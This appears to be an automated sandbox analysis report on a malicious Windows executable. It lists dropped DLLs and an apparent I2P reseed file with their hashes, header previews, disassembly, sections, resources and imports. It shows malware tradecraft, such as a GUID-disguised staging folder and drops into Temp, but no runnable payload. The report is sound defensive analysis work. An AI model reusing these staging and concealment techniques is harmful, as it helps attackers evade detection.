SHA-256:	1B6E559DC0CB37EBB2311C7CBF01B039F0DC1C3EC6DA057837451A531B1E2CB0
SHA-512:	60A0EB698AFE25CDDDB133FC937FEE478F1E0F8AF72B825C19BB2D544FAFCC217BABF6DD3D01704A106677E92AAE3DD57538E34731C950DA17F5715DF0732FF6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(.:..........\.........,.....................................,j....`... ...................................... ..^....0..D............................p..l...............................(...................p5...............................text...(9.......:..................`..`.data........P.......>..............@....rdata.......`.......@..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^.... ......................@..@.idata..D....0......................@....CRT....X....P......................@....tls.........`......................@....reloc..l....p......................@..B........................................................................................................................................................................

C:\Windows\Temp\VPIOcgIO

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	6.2290767543196575
Encrypted:	false
SSDEEP:	1536:/PvW2FSiFAp7A1VBYj6PemyulDw02PijNFnRbPEMBI:/nW6SiFAp7A1VBYj6Pemyu1F2IFRbcM+
MD5:	4C086C8F48C4D0F8C20410E60340AEC9
SHA1:	77481360A98F3018F92A57B66E1DC7A6EC0DD0E8
SHA-256:	0A8FCB54DF736100F5792B6CE57AE165553712CB1E5701E4E0DD7620E6089F59
SHA-512:	CDBCC2FD4195A6FA5A343234A745E3E7A558F68A496D376FDF6A86D585C9FA39A64F0CEB20A2D2E6E30E59BA46F62493E500D6EEB033FA981DAA60F00EE42F14
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(.....`......\...............................................R.....`... ..............................................................`..................d............................I..(......................h............................text...............................`..`.data...............................@....rdata.. T.......V..................@..@.pdata.......`.......8..............@..@.xdata..4....p.......B..............@..@.bss....@................................edata...............L..............@..@.idata...............N..............@....CRT....X............^..............@....tls.................`..............@....reloc..d............b..............@..B........................................................................................................................................................................

C:\Windows\Temp\cjke1gVC

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	data
Category:	dropped
Size (bytes):	62449
Entropy (8bit):	7.807149241969407
Encrypted:	false
SSDEEP:	1536:uzSVMhnCwJEZ4dJ4douBYaGGIW2QzPzp343mR:vKE29uBFBo2R
MD5:	688FDFAE15F328A84E8F19F8F4193AF2
SHA1:	C65D4CDA0C93B84154DFBC065AE78B9E2F7ECFA8
SHA-256:	8D37FF2458FDE376A41E9E702A9049FF89E78B75669C0F681CFCAFBA9D49688E
SHA-512:	F19BC7F204DBE3449ABE9494BFFF8BE632F20F1B4B8272F0AF71C4CEC344A20617C0909C024CB4A4E0C6B266D386CB127554DC70F3A6AA7A81DAF1A8748F5D2D
Malicious:	false
Preview:	I2Psu3.................................1726476901......reseed@cnc.netPK.........E0Y.L.`........;...routerInfo-CVE7qh1P~hZ~PX2FDY6wRTmrdDd1eQ5Nv7yBC0EcH-o=.dat.^...)....?E4T{w...U........5.x.ZT.v...C..~m.....r.u.._..0._>a....B.......1in..o...R...M.....2.0..1...?.&..1@.._.s....KrbA.-..5c..Nzvep.KU.s.n...Gy.E.y...GU.c..A.i.[HU..{I@v..5c.-..53....5..f Kpp..c....:.N..I..u..~~..u....%a........~F>.&.9..I..........\..Ff&..f...!CL!#.!....[.3..:.......J....:..DO...B.l.\gc....r...P__W[..C[......_.d#wG.t....ts.rG. .R.@...b....*c..t..#[...l......D.....<.0...B. ].4...P....(...J...>2.02243....}dll`aan`bj...................%...F..~Q......>....If.a..%..!...E......@...BD...d:..!.b'sDZ.5k^j.g.H\..JI..../..IM,N.N-.:..Z.I"(..$............+..e.....Y..[_...U....t.....n8CEbM...k.%W.^....`i..&[.Y.{}...d.Vn.g..0...PK.........>0Y....:.......;...routerInfo-7xGNdz1Bi17~K7q9lFTjGVPnQdN0tqNJ-xpZt5MSp1Q=.dat{lr...~./..<Yw_...".....%..E.....O..l.(.R<K^...>.i..{.D.s-.+...

C:\Windows\Temp\e5xaOqBz

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	92672
Entropy (8bit):	6.242846530333761
Encrypted:	false
SSDEEP:	1536:Eb84+EBwpVmTx3sJg0jsEv5YqKnbGGOO5YhNDE:Eb84+EB7x3sJXwExKb/OOv
MD5:	FDCF93ACD089B505B524DDFA0FF947F9
SHA1:	A2BADA5807BA001758DBCE46DA634332A5CC14C2
SHA-256:	ADFE373F98CABF338577963DCEA279103C19FF04B1742DC748B9477DC0156BB4
SHA-512:	110455DC5C3F090A1341EE6D09D9B327CD03999C70D4A2C0B762B91BC334B0448E750CB1FD7B34CE729B8E1CD33B55A4E1FA1187586C2FF8850B2FD907AFE03E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(.....f......\.........Io....................................C.....`... .........................................^....................`..................l............................J..(....................................................text...............................`..`.data...............................@....rdata...U.......V..................@..@.pdata.......`.......<..............@..@.xdata.......p.......F..............@..@.bss....`................................edata..^............P..............@..@.idata...............R..............@....CRT....X............d..............@....tls.................f..............@....reloc..l............h..............@..B........................................................................................................................................................................

C:\Windows\Temp\fQQIqQM0

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	105984
Entropy (8bit):	6.2884725801282775
Encrypted:	false
SSDEEP:	1536:wPwNKEKbLqYQtCwCxJtpyYNPvo3cxwNn6anP8XOCYA8CSs8qgu06wCYA8CSs8qgm:gwnKvqTaxJtpRP7wNbnP8Xf
MD5:	91A0DD29773FBFB7112C5FCFF1873C13
SHA1:	E1EAF1EFB134CAA7DA5AAA362830A68AB705C023
SHA-256:	AE2D023EBBFEEFD5A26EAA255AD3862C9A1C276BB0B46FF88EA9A9999406D6B6
SHA-512:	F7A665A218BB2CCEC32326B0E0A9845B2981F17445B5CB54BBA7D6EF9E200B4538EBD19916C2DACB0BBE1B409C14A499B23BA707874AE1F1B154279C90DC33DD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(............\........................................@......K.....`... .........................................^.......................T............0..h...............................(.......................`............................text...X...........................`..`.data........ ......................@....rdata..Pc...0...d..................@..@.pdata..T............n..............@..@.xdata...............x..............@..@.bss....@................................edata..^...........................@..@.idata..............................@....CRT....X...........................@....tls......... ......................@....reloc..h....0......................@..B........................................................................................................................................................................

C:\Windows\Temp\miECvZvT

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	115200
Entropy (8bit):	6.220212606349767
Encrypted:	false
SSDEEP:	1536:GQTj0nA3CwwEWLUbltMR8tGZ9G+Yv953a6nfgXqobk5l:GQP02C7LUbltdQG+Yra64Xqo45l
MD5:	BE6174AE2B452DA9D00F9C7C4D8A675B
SHA1:	0ABD2C76C82416AE9C30124C43802E2E49C8ED28
SHA-256:	A62BDF318386AAAB93F1D25144CFBDC1A1125AAAD867EFC4E49FE79590181EBF
SHA-512:	5631B1595F8CEE8C0DFA991852259FEE17EA8B73A9EED900A10450BBB7C846ACFC88C32930BE379D60EFA6AE1BBBEAD0A605A9F36E20129B53BCA36B13BA5858
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(............\........."h.............................P......7F....`... .........................................^....................................@..l...........................@...(.......................h............................text...(...........................`..`.data........0......................@....rdata..`d...@...f...(..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..l....@......................@..B........................................................................................................................................................................

C:\Windows\Temp\nHqxqt5L

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.277217301921545
Encrypted:	false
SSDEEP:	1536:UsmIeUIfJAH791hpVMjqZm4S53kp21ahrvffvTn+33333333333333333333333L:I5fJAHZ1Kj7hkUYr3TlX8Y/biF
MD5:	D0F0423AEEE6B6FF6754D860603D46D0
SHA1:	A06F3B9605B3398BA68154DA39ADF26DDEE41743
SHA-256:	81DA68F52DF2ED997C374CCBEFC56849650770FB30EDA8F202BBC7FC3FE6A51D
SHA-512:	C30FAEDE4520FF1C859B8B39E351112CFC60DAECA98B1359F9F86AB79BCFB996BA84F35A5B178B4ABEC66152864720E58F741AE13D06B64913E240A1F9E6A633
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(............\........................................P............`... .........................................^....................................@..p...............................(...................X................................text...8...........................`..`.data........0......."..............@....rdata..pi...@...j...$..............@..@.pdata..............................@..@.xdata..............................@..@.bss.....................................edata..^...........................@..@.idata..............................@....CRT....X.... ......................@....tls.........0......................@....reloc..p....@......................@..B........................................................................................................................................................................

C:\Windows\Temp\x8eec9dQ

Download File

Process:	C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\main.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	104448
Entropy (8bit):	6.259370376612282
Encrypted:	false
SSDEEP:	1536:VQbC3TviBZTprAFnfkRAJhzTjvlsy2nD+cRi6ZQOobsAx34:VGC3TKBZTWJfImTjx2D+ei6ZQOkx34
MD5:	7A8E8A0842D8D65713DEE5393E806755
SHA1:	AF6F3A52009FBF62C21A290EFC34A94C151B683E
SHA-256:	51C131081921626D22FAF44977D5E4DCFE00E5D6CDDEDA877A82F13631BE7C2E
SHA-512:	D1B8D93B7EFBEAA348D3A01293AD5D92BC8F28EB2554DF5E6E71506D00D135390082C52C18D0BC3F0439B068777D8B2C43AAED930C72E5FFAB2593EEAC470CF4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.................."...(............\.........?..............................0............`... .........................................^.......................$............ ..l............................v..(.......................`............................text...............................`..`.data...............................@....rdata...a... ...b..................@..@.pdata..$............h..............@..@.xdata..T............r..............@..@.bss.... ................................edata..^............\|..............@..@.idata...............~..............@....CRT....X...........................@....tls................................@....reloc..l.... ......................@..B........................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.416763990942278
Encrypted:	false
SSDEEP:	6144:Ocifpi6ceLPL9skLmb0m9SWSPtaJG8nAgex285i2MMhA20X4WABlGuNq5+:bi589SWIZBk2MM6AFBIo
MD5:	4EFF99FE879DB6535AD7E78FCB686775
SHA1:	BF11988083F31D66BDE964F4D129D926A9A79F84
SHA-256:	CC510FFBF60976662EAFE6BB4BE7A1C4E399D0E1355FF58A36EDC6F0B143BD47
SHA-512:	C891299EEFE312EFA6F3D241E5D5B06984D44182D2117B4DE52F1D5FAC1C357F42A435AB0CAAB0AE9C14D7F10F94B53ECED615E7FB579CE893887C1FDA14DB71
Malicious:	false
Preview:	regfE...E....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmJ."<.................................................................................................................................................................................................................................................................................................................................................W5.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.081762342853164
TrID:	Win64 Executable GUI (202006/5) 92.64% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% VXD Driver (31/22) 0.01%
File name:	file.exe
File size:	11'950'592 bytes
MD5:	07fc5b4f3a432b09b0d51f8b00ef05f3
SHA1:	b098b5f859f45314d5edd03aad9eab420bbdec40
SHA256:	d65629e6028c54eb383b310547426ed1907296a14a2e8977b9d469126de1f8a9
SHA512:	ba4c21a022ea2253f26400c7d247d1b886f29e7d2e8722d3c1545830695106168605a963e448651e7d2613545ad903f4dbd17e09e30ed2167d5e65755794c888
SSDEEP:	98304:CdwqvpPlIpF6+2UT0lursS0lU7heqdQI:qwqhPlIp12C0luoU7h
TLSH:	E8C65B7F76A18629C22EC23AC0A38F04E93370BD1733C6E793A45169DF599D45E3E624
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win64..$7.......................................................................................................................................

File Icon


Icon Hash:	1f6c6cececf16117

Static PE Info

General

Entrypoint:	0xcb1f90
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:
Time Stamp:	0x66F308C3 [Tue Sep 24 18:45:23 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	266fe50b75556d32a77ba4347fd8a6b3

Entrypoint Preview

Instruction
push ebp
dec eax
sub esp, 20h
dec eax
mov ebp, esp
nop
dec eax
lea ecx, dword ptr [FFFE9B08h]
call 00007FEE805B8FE0h
dec eax
mov eax, dword ptr [000BB09Ch]
dec eax
mov ecx, dword ptr [eax]
call 00007FEE80877031h
dec eax
mov eax, dword ptr [000BB08Dh]
dec eax
mov ecx, dword ptr [eax]
mov dl, 01h
call 00007FEE80879CE0h
dec eax
mov eax, dword ptr [000BB07Ch]
dec eax
mov ecx, dword ptr [eax]
dec eax
mov edx, dword ptr [FFFE939Ah]
dec esp
mov eax, dword ptr [000BB77Bh]
call 00007FEE80877033h
dec eax
mov eax, dword ptr [000BB05Fh]
dec eax
mov ecx, dword ptr [eax]
call 00007FEE80877244h
call 00007FEE805B0A0Fh
jmp 00007FEE80E52E6Ah
nop
nop
call 00007FEE805B0C06h
nop
dec eax
lea esp, dword ptr [ebp+20h]
pop ebp
ret
dec eax
nop
dec eax
lea eax, dword ptr [00000000h+eax]
dec eax
sub esp, 28h
call 00007FEE805B019Ch
dec eax
add esp, 28h
ret
int3
int3
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x99e000	0x9d	.edata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x98e000	0x50c6	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xa8d000	0x100200	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xa1c000	0x70b30	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x9a1000	0x7a060	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x9a0000	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x98f500	0x1320	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x994000	0x914c	.didata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8b1020	0x8b1200	375a7695d7a014dcd497198eb48daff1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x8b3000	0xbab68	0xbac00	8576115677fae01541a8758828a6f879	False	0.2308975485274431	data	4.9676295748628565	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0x96e000	0x1f0cc	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x98e000	0x50c6	0x5200	a8f85f9f35e1c8e857717f7fdcac1451	False	0.24471227134146342	data	4.360232251720157	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didata	0x994000	0x914c	0x9200	c9086741b6c150ce3727b78eeda72390	False	0.17133989726027396	data	3.975549279463611	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.edata	0x99e000	0x9d	0x200	893e24d9392a63a4bd48cfc340b37cc7	False	0.26171875	data	1.9432984069935513	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.tls	0x99f000	0x370	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x9a0000	0x6d	0x200	3a09e226e89da21473e0f2289fb020ea	False	0.197265625	data	1.370336840113611	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x9a1000	0x7a060	0x7a200	fdb73105589a0ad9d40ae623e4b179e4	False	0.43909328620777893	data	6.432756868541645	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.pdata	0xa1c000	0x70b30	0x70c00	ac0dd8c50313df6cc28cac3e8c6627d7	False	0.49761164426274945	data	6.507502255985033	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0xa8d000	0x100200	0x100200	cd873dd086182eed8b4534ff56eddd02	False	0.33761896046852125	data	6.472835483270941	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xa8e0a0	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0xa8e1d4	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0xa8e308	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0xa8e43c	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0xa8e570	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0xa8e6a4	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0xa8e7d8	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_ICON	0xa8e90c	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 2688			0.4147121535181237
RT_ICON	0xa8f7b4	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 1152			0.476985559566787
RT_ICON	0xa9005c	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 320			0.48554913294797686
RT_ICON	0xa905c4	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600			0.5167012448132781
RT_ICON	0xa92b6c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224			0.5719981238273921
RT_ICON	0xa93c14	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088			0.7109929078014184
RT_STRING	0xa9407c	0x4ec	data			0.3595238095238095
RT_STRING	0xa94568	0x7d4	data			0.3373253493013972
RT_STRING	0xa94d3c	0x6c8	data			0.3675115207373272
RT_STRING	0xa95404	0x6ec	data			0.3741534988713318
RT_STRING	0xa95af0	0x69c	data			0.324468085106383
RT_STRING	0xa9618c	0x54c	data			0.3414454277286136
RT_STRING	0xa966d8	0x888	data			0.2793040293040293
RT_STRING	0xa96f60	0x518	data			0.36809815950920244
RT_STRING	0xa97478	0xcb8	data			0.2976044226044226
RT_STRING	0xa98130	0x5ac	data			0.3856749311294766
RT_STRING	0xa986dc	0x690	data			0.31785714285714284
RT_STRING	0xa98d6c	0x764	data			0.2869978858350951
RT_STRING	0xa994d0	0x69c	data			0.3321513002364066
RT_STRING	0xa99b6c	0x4e4	data			0.3586261980830671
RT_STRING	0xa9a050	0x528	data			0.33484848484848484
RT_STRING	0xa9a578	0x5ac	data			0.3443526170798898
RT_STRING	0xa9ab24	0x390	data			0.44298245614035087
RT_STRING	0xa9aeb4	0x3d4	data			0.4153061224489796
RT_STRING	0xa9b288	0x53c	data			0.3082089552238806
RT_STRING	0xa9b7c4	0x3d0	data			0.3719262295081967
RT_STRING	0xa9bb94	0x2c0	data			0.4303977272727273
RT_STRING	0xa9be54	0x124	data			0.6061643835616438
RT_STRING	0xa9bf78	0x320	data			0.45125
RT_STRING	0xa9c298	0x478	data			0.3758741258741259
RT_STRING	0xa9c710	0x560	data			0.35319767441860467
RT_STRING	0xa9cc70	0x508	data			0.3517080745341615
RT_STRING	0xa9d178	0x33c	data			0.3321256038647343
RT_STRING	0xa9d4b4	0x408	data			0.40310077519379844
RT_STRING	0xa9d8bc	0xd8	data			0.6666666666666666
RT_STRING	0xa9d994	0xd0	data			0.6634615384615384
RT_STRING	0xa9da64	0x2f4	data			0.44576719576719576
RT_STRING	0xa9dd58	0x3e0	data			0.3780241935483871
RT_STRING	0xa9e138	0x398	data			0.3793478260869565
RT_STRING	0xa9e4d0	0x52c	data			0.31797583081570996
RT_STRING	0xa9e9fc	0x210	data			0.32007575757575757
RT_STRING	0xa9ec0c	0x460	data			0.40625
RT_STRING	0xa9f06c	0x664	data			0.35146699266503667
RT_STRING	0xa9f6d0	0x4f4	data			0.35252365930599366
RT_STRING	0xa9fbc4	0x3a0	data			0.3728448275862069
RT_STRING	0xa9ff64	0x348	data			0.39166666666666666
RT_STRING	0xaa02ac	0x3bc	data			0.36506276150627615
RT_STRING	0xaa0668	0x410	data			0.3798076923076923
RT_STRING	0xaa0a78	0xe8	data			0.5474137931034483
RT_STRING	0xaa0b60	0xc4	data			0.6275510204081632
RT_STRING	0xaa0c24	0x268	data			0.48863636363636365
RT_STRING	0xaa0e8c	0x434	data			0.3308550185873606
RT_STRING	0xaa12c0	0x360	data			0.38425925925925924
RT_STRING	0xaa1620	0x2ec	data			0.37566844919786097
RT_STRING	0xaa190c	0x31c	data			0.34296482412060303
RT_RCDATA	0xaa1c28	0x627e	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=6, datetime=2010:05:11 20:59:59], baseline, precision 8, 256x256, components 3	English	United States	0.9922265408106608
RT_RCDATA	0xaa7ea8	0x10	data			1.5
RT_RCDATA	0xaa7eb8	0x40969	data	English	United States	0.5729551356438974
RT_RCDATA	0xae8824	0x101c	data			0.4604752667313288
RT_RCDATA	0xae9840	0x151	Delphi compiled form 'TForm1'			0.7210682492581603
RT_RCDATA	0xae9994	0x87b	Delphi compiled form '\031TfrmFDGUIxFMXAsyncExecute\030frmFDGUIxFMXAsyncExecute\004Left\002'			0.43574389682174114
RT_RCDATA	0xaea210	0xcbc	Delphi compiled form 'TfrmFDGUIxFMXOptsBase'			0.6263803680981596
RT_RCDATA	0xaeaecc	0x4c651	data	English	United States	0.17103795623703713
RT_RCDATA	0xb37520	0x5580d	data	English	United States	0.2652239585861499
RT_GROUP_CURSOR	0xb8cd30	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0xb8cd44	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0xb8cd58	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xb8cd6c	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xb8cd80	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xb8cd94	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0xb8cda8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0xb8cdbc	0x5a	data			0.7
RT_VERSION	0xb8ce18	0x368	data	English	United States	0.44954128440366975

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExW, RegOpenKeyExW, RegCloseKey
user32.dll	CharNextW, LoadStringW
kernel32.dll	Sleep, VirtualFree, VirtualAlloc, lstrlenW, VirtualQuery, QueryPerformanceCounter, GetTickCount, GetSystemInfo, GetVersion, CompareStringW, IsValidLocale, SetThreadLocale, GetSystemDefaultUILanguage, GetUserDefaultUILanguage, GetLocaleInfoW, WideCharToMultiByte, MultiByteToWideChar, GetACP, LoadLibraryExW, GetStartupInfoW, GetProcAddress, GetModuleHandleW, GetModuleFileNameW, GetCommandLineW, FindResourceW, FreeLibrary, GetLastError, UnhandledExceptionFilter, RtlUnwindEx, RtlUnwind, RaiseException, ExitProcess, ExitThread, SwitchToThread, GetCurrentThreadId, CreateThread, DeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, FindFirstFileW, FindClose, WriteFile, GetStdHandle, CloseHandle
kernel32.dll	GetProcAddress, RaiseException, LoadLibraryA, GetLastError, TlsSetValue, TlsGetValue, LocalFree, LocalAlloc, GetModuleHandleW, FreeLibrary
user32.dll	WINNLSEnableIME, SetClassLongPtrW, GetClassLongPtrW, SetWindowLongPtrW, GetWindowLongPtrW, CreateWindowExW, WindowFromPoint, WaitMessage, UpdateLayeredWindow, UpdateWindow, UnregisterClassW, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, TrackMouseEvent, SystemParametersInfoW, ShowWindow, ShowScrollBar, ShowOwnedPopups, ShowCaret, SetWindowRgn, SetWindowsHookExW, SetWindowTextW, SetWindowPos, SetWindowPlacement, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropW, SetParent, SetMenuItemInfoW, SetMenu, SetForegroundWindow, SetFocus, SetCursorPos, SetCursor, SetClipboardData, SetCapture, SetActiveWindow, SendMessageTimeoutW, SendMessageA, SendMessageW, ScrollWindow, ScreenToClient, RemovePropW, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageW, RegisterClipboardFormatW, RegisterClassW, RedrawWindow, PostQuitMessage, PostMessageW, PeekMessageA, PeekMessageW, OpenClipboard, MsgWaitForMultipleObjectsEx, MsgWaitForMultipleObjects, MessageBoxIndirectW, MessageBoxW, MessageBeep, MapWindowPoints, MapVirtualKeyW, LoadStringW, LoadKeyboardLayoutW, LoadIconW, LoadCursorW, LoadBitmapW, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsIconic, IsDialogMessageA, IsDialogMessageW, IsChild, InvalidateRect, InsertMenuItemW, InsertMenuW, HideCaret, GetWindowThreadProcessId, GetWindowTextLengthW, GetWindowTextW, GetWindowRect, GetWindowPlacement, GetWindowDC, GetUpdateRgn, GetUpdateRect, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetScrollBarInfo, GetPropW, GetParent, GetWindow, GetMessagePos, GetMessageExtraInfo, GetMenuStringW, GetMenuState, GetMenuItemInfoW, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameW, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextW, GetIconInfo, GetForegroundWindow, GetFocus, GetDlgCtrlID, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassNameW, GetClassInfoExW, GetClassInfoW, GetCapture, GetActiveWindow, FrameRect, FindWindowExW, FindWindowW, FillRect, EnumWindows, EnumThreadWindows, EnumChildWindows, EndPaint, 